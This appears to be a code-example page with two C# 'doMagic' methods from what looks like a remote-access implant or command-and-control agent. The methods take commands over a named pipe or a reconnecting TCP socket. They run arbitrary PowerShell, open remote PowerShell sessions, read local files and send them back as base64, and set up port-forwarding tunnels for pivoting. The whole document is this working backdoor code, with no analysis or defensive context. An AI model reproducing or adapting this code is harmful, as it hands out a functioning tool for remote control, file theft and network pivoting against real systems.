Ejemplo n.º 1
0
        private void doMagic(PipeStream pipe)
        {
            //init
            PsRun myPsRun = new PsRun();

            myPsRun.init();


            string command_tag;
            string command;

            while (true)
            {
                Console.WriteLine("[*] Waiting for pip message");
                var messageBytes = ReadPipMessage(pipe);
                command_tag = Encoding.UTF8.GetString(messageBytes);
                Console.WriteLine("[*] Tag Received: {0}", command_tag);

                //ack
                byte[] msg = Encoding.UTF8.GetBytes("COMMAND_TAG_SUCCESS");
                pipe.Write(msg, 0, msg.Length);
                Console.WriteLine("[*] Ack Sent..");


                messageBytes = ReadPipMessage(pipe);
                command      = Encoding.UTF8.GetString(messageBytes);
                Console.WriteLine("[*] CMD Received: {0}", command);

                //ack
                msg = Encoding.UTF8.GetBytes("COMMAND_SUCCESS");
                pipe.Write(msg, 0, msg.Length);
                Console.WriteLine("[*] Ack Sent..");


                if (command_tag.ToLower() == "ps" || command_tag.ToLower() == "powershell")
                {
                    string psresult = "";
                    try
                    {
                        psresult = myPsRun.doPsRun(command);
                    }
                    catch (Exception e)
                    {
                        psresult = psresult + "[ERROR]: " + e.Message;
                    }


                    try
                    {
                        msg = Encoding.UTF8.GetBytes(psresult);
                        pipe.Write(msg, 0, msg.Length);
                        messageBytes = ReadPipMessage(pipe);

                        //ack
                        var psAck = Encoding.UTF8.GetString(messageBytes);
                        Console.WriteLine("[DEBUG] ACK msg: " + psAck);
                        if (psAck == "PSRUN_SUCCESS")
                        {
                            Console.WriteLine("[PsRun] Success");
                        }
                        else
                        {
                            Console.WriteLine("[PsRun] Failed ...");
                        }
                    }
                    catch
                    {
                        Console.WriteLine("[!] Pipe is broken!");
                        //do something to restore
                    }
                }//end of if ps



                if (command_tag.ToLower() == "exit")
                {
                    break;
                }
            }//end of while
        }
Ejemplo n.º 2
0
        private void doMagic(Socket sender, IPEndPoint remoteEP, Socket listener)
        {
            byte[] bytes = new byte[1024];
            string command_tag;
            string command;

            //init
            PsRun myPsRun = new PsRun();

            myPsRun.init();


            while (true)
            {
                try
                {
                    Console.WriteLine("Waiting for command tag ...");

                    //int bytesRec = sender.Receive(bytes);
                    //command_tag = Encoding.UTF8.GetString(bytes, 0, bytesRec);
                    command_tag = doRecive(sender);
                    Console.WriteLine("Recieved Command tag: {0}", command_tag);
                    byte[] msg       = Encoding.UTF8.GetBytes(MsgPack("COMMAND_TAG_SUCCESS"));
                    int    bytesSent = sender.Send(msg);
                    if (bytesSent != msg.Length)
                    {
                        Console.WriteLine("[DEBUG] Something wrong with send");
                    }

                    Console.WriteLine("Finished sending ACK tag");

                    Console.WriteLine("Trying to get commands ... ");
                    //bytesRec = sender.Receive(bytes);
                    //command = Encoding.UTF8.GetString(bytes, 0, bytesRec);
                    command = doRecive(sender);
                    Console.WriteLine("Recieved Command: {0}", command);
                    msg       = Encoding.UTF8.GetBytes(MsgPack("COMMAND_SUCCESS"));
                    bytesSent = sender.Send(msg);
                    if (bytesSent != msg.Length)
                    {
                        Console.WriteLine("[DEBUG] Something wrong with send");
                    }


                    //check command
                    if (command_tag.ToLower() == "ps" || command_tag.ToLower() == "powershell")
                    {
                        string psresult = "";
                        try
                        {
                            psresult = myPsRun.doPsRun(command);
                        }
                        catch (Exception e)
                        {
                            psresult = psresult + "[ERROR]: " + e.Message;
                        }


                        Console.WriteLine("[DEBUG] cmd executed ...");
                        msg       = Encoding.UTF8.GetBytes(MsgPack(psresult));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }
                        Console.WriteLine("Send result finished");

                        //get success ack
                        //bytesRec = sender.Receive(bytes);
                        //string psAck = Encoding.UTF8.GetString(bytes, 0, bytesRec);
                        string psAck = doRecive(sender);
                        Console.WriteLine("[DEBUG] ACK msg: " + psAck);
                        if (psAck == "PSRUN_SUCCESS")
                        {
                            Console.WriteLine("[PsRun] Success");
                        }
                        else
                        {
                            Console.WriteLine("[PsRun] Failed ...");
                        }
                    }

                    if (command_tag.ToLower() == "psreset")
                    {
                        myPsRun.cleanPsRun = RunspaceFactory.CreateRunspace(); //close it?
                        myPsRun.init();
                        Console.WriteLine("[DEBUG] psreset executed ...");
                        msg       = Encoding.UTF8.GetBytes(MsgPack("PSRESET_SUCCESS"));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }
                        Console.WriteLine("Send result finished");
                    }

                    if (command_tag.ToLower() == "psremote")
                    {
                        string reStr = myPsRun.remoteInit(command);
                        if (reStr == "PSREMOTE_SUCCESS")
                        {
                            Console.WriteLine("[DEBUG] psremote executed ...");
                            msg = Encoding.UTF8.GetBytes(MsgPack("PSREMOTE_SUCCESS"));
                        }
                        else
                        {
                            Console.WriteLine("[DEBUG] psremote executed with error ...");
                            msg = Encoding.UTF8.GetBytes(MsgPack(reStr));
                        }


                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }
                        Console.WriteLine("Send result finished");
                    }

                    if (command_tag.ToLower() == "download")
                    {
                        byte[] t_file;
                        try
                        {
                            string toSend     = Convert.ToBase64String(File.ReadAllBytes(command));
                            string toSendPack = "";
                            foreach (string subToSend in SplitByLength(toSend, 1024 * 1024))
                            {
                                toSendPack = toSendPack + MsgPack(subToSend);
                            }

                            toSendPack = toSendPack + MsgPack("DL_SUCCESS"); //ack

                            t_file = Encoding.UTF8.GetBytes(toSendPack);
                        }catch (Exception e)
                        {
                            t_file = Encoding.UTF8.GetBytes(MsgPack(e.Message) + MsgPack("DL_SUCCESS")); //maybe need to ensure its not a "single word"
                        }

                        //send bytes
                        //its possible for this to timeout ...
                        var bytpeSentTotal = 0;
                        var packSize       = 0;
                        while (bytpeSentTotal < t_file.Length)
                        {
                            if (t_file.Length - bytpeSentTotal > 10240)
                            {
                                packSize = 10240;
                            }
                            else
                            {
                                packSize = t_file.Length - bytpeSentTotal;
                            }
                            bytesSent      = sender.Send(t_file, bytpeSentTotal, packSize, 0);
                            bytpeSentTotal = bytpeSentTotal + bytesSent;
                            //Thread.Sleep(50);
                        }

                        //ack
                        string psAck = doRecive(sender);
                        Console.WriteLine("[DEBUG] ACK msg: " + psAck);
                        if (psAck == "DL_SUCCESS")
                        {
                            Console.WriteLine("[Down] Success");
                        }
                        else
                        {
                            Console.WriteLine("[Down] Failed ...");
                        }
                    }

                    if (command_tag.ToLower() == "fwc")
                    {
                        //assume command is rhuuid:ip:port string
                        string[] subs = command.Split(':');
                        fwEndPoint.Add(subs[0], subs[1] + ':' + subs[2]);
                        //Console.WriteLine("subs[0]: " + subs[0]);
                        //Console.WriteLine("subs[1]: " + subs[1]);
                        //Console.WriteLine("subs[2]: " + subs[2]);

                        Thread t = new Thread(new ParameterizedThreadStart(StartClientNative));
                        t.Start(subs[0]);
                        Console.WriteLine("[DEBUG] fw executed ...");
                        msg       = Encoding.UTF8.GetBytes(MsgPack("FW_SUCCESS"));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }
                        Console.WriteLine("Send result finished");
                    }

                    if (command_tag.ToLower() == "fw")
                    {
                        //assume command is rhuuid:ip:port string
                        string[] subs = command.Split(':');
                        fwEndPoint.Add(subs[0], subs[1] + ':' + subs[2]);
                        //Console.WriteLine("subs[0]: " + subs[0]);
                        //Console.WriteLine("subs[1]: " + subs[1]);
                        //Console.WriteLine("subs[2]: " + subs[2]);

                        Thread t = new Thread(new ParameterizedThreadStart(StartServerNative));
                        t.Start(subs[0]);
                        Console.WriteLine("[DEBUG] fw executed ...");
                        msg       = Encoding.UTF8.GetBytes(MsgPack("FW_SUCCESS"));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }
                        Console.WriteLine("Send result finished");
                    }

                    if (command_tag.ToLower() == "pfw-update")
                    {
                        string rhuuid = command;
                        bool   found  = false;
                        //Console.WriteLine("rhuuid: " + rhuuid);
                        //Console.WriteLine("=========print the listener_running =========");
                        //foreach (KeyValuePair<string, bool> test in listener_running)
                        //{
                        //    Console.WriteLine("Key = {0}, Value = {1}", test.Key, test.Value);
                        //}
                        //Console.WriteLine("=========print the listener_running =========");

                        if (rh_running.ContainsKey(rhuuid))
                        {
                            Console.WriteLine("rhuuid found ...");
                            Console.WriteLine("Socket mode: " + sender.Blocking.ToString());
                            foreach (Guid chuuid in fwMapping[rhuuid])
                            {
                                if (ifAcked[chuuid] == false)
                                {
                                    //send ack
                                    found           = true;
                                    ifAcked[chuuid] = true;

                                    //send rh
                                    byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(rhuuid));
                                    bytesSent = sender.Send(rh_msg);
                                    if (bytesSent != rh_msg.Length)
                                    {
                                        Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                    }

                                    //send ch
                                    byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
                                    bytesSent = sender.Send(ch_msg);
                                    if (bytesSent != ch_msg.Length)
                                    {
                                        Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                    }

                                    //do single read and write
                                    Console.WriteLine("Doing read and write");
                                    string str_fwq_msg = doReciveNative(chuuid);
                                    if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == false)
                                    {
                                        str_fwq_msg = "FW_CH_FINED";
                                    }
                                    if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == true)
                                    {
                                        str_fwq_msg = "FW_CH_NODATA";
                                    }

                                    Console.WriteLine("read and writed Finished ...");

                                    byte[] fwq_msg = Encoding.UTF8.GetBytes(MsgPack(str_fwq_msg));

                                    //send data
                                    bytesSent = sender.Send(fwq_msg);
                                    if (bytesSent != fwq_msg.Length)
                                    {
                                        Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                    }

                                    Console.WriteLine("Send success ...");


                                    if (str_fwq_msg != "FW_CH_FINED") //no send back if FW_CH_FINED
                                    {
                                        string fwq_string_tosend = doRecive(sender);
                                        Console.WriteLine("Got reponse: " + fwq_string_tosend);
                                        if (fwSocket_alive[chuuid] && fwq_string_tosend.Length != 0)
                                        {
                                            int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
                                            Console.WriteLine("Response sent");
                                        }
                                        else if (fwSocket_alive[chuuid] && fwq_string_tosend.Length == 0)
                                        {
                                            Console.WriteLine("Dummy Response ...");
                                        }
                                        else
                                        {
                                            Console.WriteLine("fwSocket may still receiving ... ");
                                            if (SocketConnected(fwSocket[chuuid]))
                                            {
                                                Console.WriteLine("fwSocket still connected ... ");
                                                int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
                                                Console.WriteLine("Response sent");
                                            }
                                            else
                                            {
                                                Console.WriteLine("fwSocket does not want response ... ");
                                            }

                                            fwSocket[chuuid].Shutdown(SocketShutdown.Send);
                                            fwSocket[chuuid].Close(1000);
                                        }
                                    }
                                    else
                                    {
                                        Console.WriteLine("Clean up ...");
                                        fwSocket[chuuid].Shutdown(SocketShutdown.Both);
                                        fwSocket[chuuid].Close();
                                    }



                                    break;
                                } //end of if
                            }     //end of fow
                            if (!found)
                            {
                                Console.WriteLine("Send back not ready ...");
                                //send not ready
                                //send rh
                                byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(rhuuid));
                                bytesSent = sender.Send(rh_msg);
                                if (bytesSent != rh_msg.Length)
                                {
                                    Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                }

                                //send ch
                                byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack("FW_NOTREADY"));
                                bytesSent = sender.Send(ch_msg);
                                if (bytesSent != ch_msg.Length)
                                {
                                    Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                }

                                //send data
                                byte[] data_msg = Encoding.UTF8.GetBytes(MsgPack("dummy"));
                                bytesSent = sender.Send(data_msg);
                                if (bytesSent != data_msg.Length)
                                {
                                    Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                                }
                                Console.WriteLine("Not ready sent ...");
                            } //end of if not found
                        }     //end of if rhuuid in list
                        else
                        {
                            Console.WriteLine("Unknown rhuuid ...");
                        }
                    }

                    if (command_tag.ToLower() == "pfw-close")
                    {
                        //server FINed
                        //convert string to uuid
                        Guid chuuid = new Guid(command);

                        if (fwSocket_alive[chuuid] == true)
                        {
                            Console.WriteLine("Clean up ...");
                            //might need locks
                            try
                            {
                                fwSocket[chuuid].Shutdown(SocketShutdown.Both);
                                fwSocket[chuuid].Close();
                            }
                            catch
                            {
                            }
                        }

                        //FW_CH_CLOSE_SUCCESS
                        msg       = Encoding.UTF8.GetBytes(MsgPack("FW_CH_CLOSE_SUCCESS"));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }

                        Console.WriteLine("Clean up finished");
                    }

                    if (command_tag.ToLower() == "fwq") //should always ready
                    {
                        //convert string to uuid
                        Guid chuuid = new Guid(command);

                        //send rh
                        byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(fwMapping_revs[chuuid]));
                        bytesSent = sender.Send(rh_msg);
                        if (bytesSent != rh_msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }

                        if (fwSocket_alive[chuuid] == false)
                        {
                            //already FINed
                            //send ch
                            byte[] fin_ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
                            bytesSent = sender.Send(fin_ch_msg);
                            if (bytesSent != fin_ch_msg.Length)
                            {
                                Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                            }
                            //send FW_CH_FINED
                            byte[] fin_data_msg = Encoding.UTF8.GetBytes(MsgPack("FW_CH_FINED"));
                            bytesSent = sender.Send(fin_data_msg);
                            if (bytesSent != fin_data_msg.Length)
                            {
                                Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                            }

                            continue;
                        }

                        //send ch
                        byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
                        bytesSent = sender.Send(ch_msg);
                        if (bytesSent != ch_msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }

                        //do single read and write
                        Console.WriteLine("Doing read and write");
                        string str_fwq_msg = doReciveNative(chuuid);
                        if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == false)
                        {
                            str_fwq_msg = "FW_CH_FINED";
                        }
                        if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == true)
                        {
                            str_fwq_msg = "FW_CH_NODATA";
                        }

                        byte[] fwq_msg = Encoding.UTF8.GetBytes(MsgPack(str_fwq_msg));

                        //send data
                        bytesSent = sender.Send(fwq_msg);
                        if (bytesSent != fwq_msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
                        }

                        Console.WriteLine("Send success ...");

                        if (str_fwq_msg != "FW_CH_FINED") //no send back if FW_CH_FINED
                        {
                            string fwq_string_tosend = doRecive(sender);
                            Console.WriteLine("Got reponse: " + fwq_string_tosend);
                            if (fwSocket_alive[chuuid] && fwq_string_tosend.Length != 0)
                            {
                                int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
                                Console.WriteLine("Response sent");
                            }
                            else if (fwSocket_alive[chuuid] && fwq_string_tosend.Length == 0)
                            {
                                Console.WriteLine("Dummy Response ...");
                            }
                            else
                            {
                                Console.WriteLine("fwSocket may still receiving ... ");
                                if (SocketConnected(fwSocket[chuuid]))
                                {
                                    Console.WriteLine("fwSocket still connected ... ");
                                    int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
                                    Console.WriteLine("Response sent");
                                }
                                else
                                {
                                    Console.WriteLine("fwSocket does not want response ... ");
                                }

                                fwSocket[chuuid].Shutdown(SocketShutdown.Send);
                                fwSocket[chuuid].Close(1000);
                            }
                        }
                        else
                        {
                            Console.WriteLine("Clean up ...");
                            fwSocket[chuuid].Shutdown(SocketShutdown.Both);
                            fwSocket[chuuid].Close();
                        }
                    }


                    if (command_tag.ToLower() == "exit")
                    {
                        msg       = Encoding.UTF8.GetBytes(MsgPack("EXIT_SUCCESS"));
                        bytesSent = sender.Send(msg);
                        if (bytesSent != msg.Length)
                        {
                            Console.WriteLine("[DEBUG] Something wrong with send");
                        }

                        sender.Shutdown(SocketShutdown.Send);
                        string ack = doRecive(sender);
                        if (ack == "EXIT_SUCCESS")
                        {
                            Console.WriteLine("[EXIT] Success ... ");
                        }
                        else
                        {
                            Console.WriteLine("[DEBUG] Something wrong with exit");
                        }


                        sender.Close(1000);
                        Console.WriteLine("Closed ... ");
                        break;
                    }
                }

                catch (SocketException se)
                {
                    Console.WriteLine("SocketException : {0}", se.ToString());
                    //keep reconnect
                    while (true)
                    {
                        try
                        {
                            if (listener == null)
                            {
                                sender = new Socket(remoteEP.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                                sender.Connect(remoteEP);
                                break;
                            }
                            else
                            {
                                listener.Listen(1);
                                Console.WriteLine("Waiting for a connection...");
                                sender = listener.Accept();
                                break;
                            }
                        }
                        catch //(SocketException se_inner)
                        {
                            Console.WriteLine("Keep trying ...");
                        }
                    }
                }
            }//end of while
        }